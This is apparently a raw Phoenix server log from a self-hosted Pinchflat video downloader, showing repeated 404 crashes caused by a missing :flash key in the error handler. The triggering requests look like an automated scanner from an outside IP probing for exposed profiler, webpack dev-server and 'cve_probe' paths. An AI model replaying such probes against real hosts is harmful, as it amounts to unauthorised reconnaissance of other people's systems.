[#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/horizon/api/stats", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgkGzYjr63psABcUi"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21651.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/horizon/api/stats", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37254}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /horizon/api/stats (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21651.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/horizon/api/stats", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37254}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21652.0>, params: %{}, path_info: ["horizon", "api", "stats"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/horizon/api/stats", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMA (truncated) 15:40:38.004 [info] GET /__webpack_dev_server__/sockjs-node/info 15:40:38.005 [debug] QUERY OK source="settings" db=0.1ms idle=207.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:38.005 [debug] QUERY OK source="settings" db=0.0ms idle=112.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:38.005 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:38.005 [error] #PID<0.21654.0> running PinchflatWeb.Endpoint (connection #PID<0.21653.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /__webpack_dev_server__/sockjs-node/info ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /__webpack_dev_server__/sockjs-node/info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21653.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/__webpack_dev_server__/sockjs-node/info", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37260}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21654.0>, params: %{}, path_info: ["__webpack_dev_server__", "sockjs-node", "info"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/__webpack_dev_server__/sockjs-node/info", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgkXe6Yp5YPoABcVC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21653.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/__webpack_dev_server__/sockjs-node/info", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37260}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /__webpack_dev_server__/sockjs-node/info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21653.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/__webpack_dev_server__/sockjs-node/info", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37260}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21654.0>, params: %{}, path_info: ["__webpack_dev_server__", "sockjs-node", "info"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/__webpa (truncated) 15:40:38.058 [info] GET /_profiler 15:40:38.058 [debug] QUERY OK source="settings" db=0.1ms idle=165.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:38.058 [debug] QUERY OK source="settings" db=0.0ms idle=123.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:38.059 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:38.059 [error] #PID<0.21656.0> running PinchflatWeb.Endpoint (connection #PID<0.21655.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /_profiler ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /_profiler (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21655.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_profiler", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37274}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21656.0>, params: %{}, path_info: ["_profiler"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/_profiler", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgkkQd7Vz5g0ACMrh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21655.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_profiler", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37274}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /_profiler (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21655.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_profiler", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37274}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21656.0>, params: %{}, path_info: ["_profiler"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/_profiler", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgkkQd7Vz5g0ACMrh"} ], scheme: :http, script_name: [], (truncated) 15:40:38.124 [info] GET /__cve_probe_cve_test_404 15:40:38.124 [debug] QUERY OK source="settings" db=0.0ms idle=119.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:38.124 [debug] QUERY OK source="settings" db=0.0ms idle=119.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:38.124 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:38.124 [error] #PID<0.21658.0> running PinchflatWeb.Endpoint (connection #PID<0.21657.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /__cve_probe_cve_test_404 ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /__cve_probe_cve_test_404 (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21657.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/__cve_probe_cve_test_404", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37288}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21658.0>, params: %{}, path_info: ["__cve_probe_cve_test_404"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/__cve_probe_cve_test_404", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgkz8RdCkW20ABcVi"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21657.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/__cve_probe_cve_test_404", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37288}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /__cve_probe_cve_test_404 (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21657.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/__cve_probe_cve_test_404", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37288}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21658.0>, params: %{}, path_info: ["__cve_probe_cve_test_404"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/__cve_probe_cve_test_404", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, priv (truncated) 15:40:38.171 [info] GET /_profiler/latest 15:40:38.171 [debug] QUERY OK source="settings" db=0.0ms idle=112.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:38.171 [debug] QUERY OK source="settings" db=0.0ms idle=112.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:38.171 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:38.171 [error] #PID<0.21660.0> running PinchflatWeb.Endpoint (connection #PID<0.21659.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /_profiler/latest ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /_profiler/latest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21659.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_profiler/latest", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37302}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21660.0>, params: %{}, path_info: ["_profiler", "latest"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in 